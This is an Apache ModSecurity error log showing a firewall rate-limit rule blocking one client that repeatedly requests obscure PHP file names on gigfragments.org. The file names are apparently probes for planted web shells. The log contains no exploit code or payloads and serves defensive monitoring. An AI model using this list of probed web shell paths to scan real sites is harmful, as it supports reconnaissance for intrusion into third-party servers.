[Wed Apr 08 01:51:01.917005 2026] [:error] [pid 4840:tid 5163] [client 20.234.13.12:7201] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "adVEBRsUwg2fEe9p9LTF5QAAAAM"]
[Wed Apr 08 01:51:02.426251 2026] [:error] [pid 4840:tid 5179] [client 20.234.13.12:7203] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "adVEBhsUwg2fEe9p9LTF5gAAABM"]
[Wed Apr 08 01:51:02.962929 2026] [:error] [pid 5246:tid 5262] [client 20.234.13.12:7286] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "adVEBhLpySxaVC8kLEZv2QAAAMw"]
[Wed Apr 08 01:51:03.467187 2026] [:error] [pid 4840:tid 5171] [client 20.234.13.12:4390] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "adVEBxsUwg2fEe9p9LTF6gAAAAs"]
[Wed Apr 08 01:51:23.230147 2026] [:error] [pid 4860:tid 5236] [client 20.234.13.12:5104] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "adVEGwn6KmY32L3WSeHGewAAAJU"]
[Wed Apr 08 01:51:23.749975 2026] [:error] [pid 303:tid 321] [client 20.234.13.12:7289] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "adVEG89wWR0DHTrNMujiBgAAAU8"]
[Wed Apr 08 01:51:24.255700 2026] [:error] [pid 4842:tid 5203] [client 20.234.13.12:7251] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "adVEHJdncJIGbBiMOXTHEQAAAE8"]
[Wed Apr 08 01:51:24.796717 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:7226] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "adVEHCboIFdw6tlcN13qeAAAAQM"]
[Wed Apr 08 01:51:25.300499 2026] [:error] [pid 5337:tid 5366] [client 20.234.13.12:7217] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adVEHSboIFdw6tlcN13qfAAAAQg"]
[Wed Apr 08 01:51:25.882297 2026] [:error] [pid 4842:tid 5212] [client 20.234.13.12:7272] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adVEHZdncJIGbBiMOXTHFQAAAFg"]
[Wed Apr 08 01:51:26.393051 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:4372] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adVEHiboIFdw6tlcN13qggAAAQk"]
[Wed Apr 08 01:51:26.899976 2026] [:error] [pid 5337:tid 5358] [client 20.234.13.12:4362] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adVEHiboIFdw6tlcN13qhAAAAQA"]
[Wed Apr 08 01:51:27.416705 2026] [:error] [pid 4842:tid 5201] [client 20.234.13.12:7245] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adVEH5dncJIGbBiMOXTHGAAAAE0"]
[Wed Apr 08 01:51:27.930377 2026] [:error] [pid 5246:tid 5269] [client 20.234.13.12:7174] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adVEHxLpySxaVC8kLEZv9QAAANM"]
[Wed Apr 08 01:51:28.430407 2026] [:error] [pid 4840:tid 5173] [client 20.234.13.12:4374] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adVEIBsUwg2fEe9p9LTGAAAAAA0"]
[Wed Apr 08 01:51:28.936678 2026] [:error] [pid 5337:tid 5358] [client 20.234.13.12:7174] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adVEICboIFdw6tlcN13qjQAAAQA"]
[Wed Apr 08 01:51:29.441670 2026] [:error] [pid 4842:tid 5195] [client 20.234.13.12:7225] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adVEIZdncJIGbBiMOXTHHQAAAEc"]
[Wed Apr 08 01:51:29.969276 2026] [:error] [pid 4842:tid 5210] [client 20.234.13.12:7192] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adVEIZdncJIGbBiMOXTHHwAAAFY"]
[Wed Apr 08 01:51:30.477509 2026] [:error] [pid 4842:tid 5203] [client 20.234.13.12:7169] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adVEIpdncJIGbBiMOXTHIQAAAE8"]
[Wed Apr 08 01:51:31.053278 2026] [:error] [pid 5246:tid 5257] [client 20.234.13.12:4352] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adVEIxLpySxaVC8kLEZv_wAAAMc"]
[Wed Apr 08 01:51:31.580697 2026] [:error] [pid 5246:tid 5259] [client 20.234.13.12:5058] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "adVEIxLpySxaVC8kLEZwAQAAAMk"]
[Wed Apr 08 01:51:32.130141 2026] [:error] [pid 4842:tid 5206] [client 20.234.13.12:5097] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "adVEJJdncJIGbBiMOXTHJQAAAFI"]
[Wed Apr 08 01:51:32.640043 2026] [:error] [pid 5337:tid 5374] [client 20.234.13.12:7223] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "adVEJCboIFdw6tlcN13qlAAAARA"]
[Wed Apr 08 01:51:33.147108 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:4412] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "adVEJSboIFdw6tlcN13qlwAAAQ0"]
[Wed Apr 08 01:51:33.654129 2026] [:error] [pid 4840:tid 5170] [client 20.234.13.12:4389] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "adVEJRsUwg2fEe9p9LTGCQAAAAo"]
[Wed Apr 08 01:51:34.159001 2026] [:error] [pid 4840:tid 5183] [client 20.234.13.12:7221] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "adVEJhsUwg2fEe9p9LTGDQAAABc"]
[Wed Apr 08 01:51:34.671663 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:7215] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "adVEJiboIFdw6tlcN13qnwAAAQM"]
[Wed Apr 08 01:51:35.186688 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:4381] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "adVEJyboIFdw6tlcN13qogAAARg"]
[Wed Apr 08 01:51:35.696542 2026] [:error] [pid 4860:tid 5228] [client 20.234.13.12:7190] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ay.php"] [unique_id "adVEJwn6KmY32L3WSeHGfAAAAI0"]
[Wed Apr 08 01:51:36.208210 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:5070] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ay.php"] [unique_id "adVEKCboIFdw6tlcN13qpwAAAQ0"]
[Wed Apr 08 01:51:36.729660 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:7287] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ay.php"] [unique_id "adVEKCboIFdw6tlcN13qqgAAAQk"]
[Wed Apr 08 01:51:37.238185 2026] [:error] [pid 5246:tid 5257] [client 20.234.13.12:5057] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ay.php"] [unique_id "adVEKRLpySxaVC8kLEZwDAAAAMc"]
[Wed Apr 08 01:51:37.786287 2026] [:error] [pid 303:tid 311] [client 20.234.13.12:4397] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adVEKc9wWR0DHTrNMujiEQAAAUU"]
[Wed Apr 08 01:51:38.304152 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:7219] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adVEKiboIFdw6tlcN13qtAAAAQ0"]
[Wed Apr 08 01:51:38.845566 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:4408] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adVEKiboIFdw6tlcN13quAAAAQk"]
[Wed Apr 08 01:51:39.358573 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:7178] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adVEKyboIFdw6tlcN13quwAAARY"]
[Wed Apr 08 01:51:39.957417 2026] [:error] [pid 5246:tid 5261] [client 20.234.13.12:5056] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "adVEKxLpySxaVC8kLEZwEwAAAMs"]
[Wed Apr 08 01:51:40.489682 2026] [:error] [pid 4842:tid 5195] [client 20.234.13.12:4385] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "adVELJdncJIGbBiMOXTHKwAAAEc"]
[Wed Apr 08 01:51:42.008495 2026] [:error] [pid 303:tid 317] [client 20.234.13.12:7208] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "adVELs9wWR0DHTrNMujiFwAAAUs"]
[Wed Apr 08 01:51:42.569036 2026] [:error] [pid 5337:tid 5376] [client 20.234.13.12:5079] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "adVELiboIFdw6tlcN13qzwAAARI"]
[Wed Apr 08 01:51:43.100823 2026] [:error] [pid 303:tid 330] [client 20.234.13.12:7197] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "adVEL89wWR0DHTrNMujiGAAAAVg"]
[Wed Apr 08 01:51:43.629595 2026] [:error] [pid 5337:tid 5369] [client 20.234.13.12:7259] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "adVELyboIFdw6tlcN13q1AAAAQs"]
[Wed Apr 08 01:51:44.137809 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:5072] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "adVEMCboIFdw6tlcN13q1gAAAQE"]
[Wed Apr 08 01:51:44.687627 2026] [:error] [pid 5337:tid 5366] [client 20.234.13.12:7177] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "adVEMCboIFdw6tlcN13q2gAAAQg"]
[Wed Apr 08 01:51:45.236177 2026] [:error] [pid 4842:tid 5189] [client 20.234.13.12:5073] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "adVEMZdncJIGbBiMOXTHLAAAAEE"]
[Wed Apr 08 01:51:45.756884 2026] [:error] [pid 303:tid 308] [client 20.234.13.12:7196] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "adVEMc9wWR0DHTrNMujiIAAAAUI"]
[Wed Apr 08 01:51:46.287343 2026] [:error] [pid 303:tid 324] [client 20.234.13.12:7168] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "adVEMs9wWR0DHTrNMujiIwAAAVI"]
[Wed Apr 08 01:51:46.941097 2026] [:error] [pid 303:tid 318] [client 20.234.13.12:4368] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "adVEMs9wWR0DHTrNMujiJgAAAUw"]
[Wed Apr 08 01:51:47.568721 2026] [:error] [pid 303:tid 327] [client 20.234.13.12:5078] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adVEM89wWR0DHTrNMujiJwAAAVU"]
[Wed Apr 08 01:51:48.219169 2026] [:error] [pid 5246:tid 5252] [client 20.234.13.12:4386] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adVENBLpySxaVC8kLEZwIwAAAMI"]
[Wed Apr 08 01:51:49.109875 2026] [:error] [pid 303:tid 308] [client 20.234.13.12:5092] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adVENc9wWR0DHTrNMujiLgAAAUI"]
[Wed Apr 08 01:51:49.753216 2026] [:error] [pid 303:tid 313] [client 20.234.13.12:4413] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "adVENc9wWR0DHTrNMujiMwAAAUc"]
[Wed Apr 08 01:51:50.311963 2026] [:error] [pid 5337:tid 5381] [client 20.234.13.12:7228] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dass.php"] [unique_id "adVENiboIFdw6tlcN13q4gAAARc"]
[Wed Apr 08 01:51:50.839903 2026] [:error] [pid 5246:tid 5273] [client 20.234.13.12:7270] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dass.php"] [unique_id "adVENhLpySxaVC8kLEZwKQAAANc"]
[Wed Apr 08 01:51:51.355305 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:7224] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dass.php"] [unique_id "adVENyboIFdw6tlcN13q5gAAAQk"]
[Wed Apr 08 01:51:51.885581 2026] [:error] [pid 5337:tid 5373] [client 20.234.13.12:4405] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dass.php"] [unique_id "adVENyboIFdw6tlcN13q5wAAAQ8"]
[Wed Apr 08 01:51:52.396314 2026] [:error] [pid 5337:tid 5369] [client 20.234.13.12:7264] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "adVEOCboIFdw6tlcN13q6wAAAQs"]
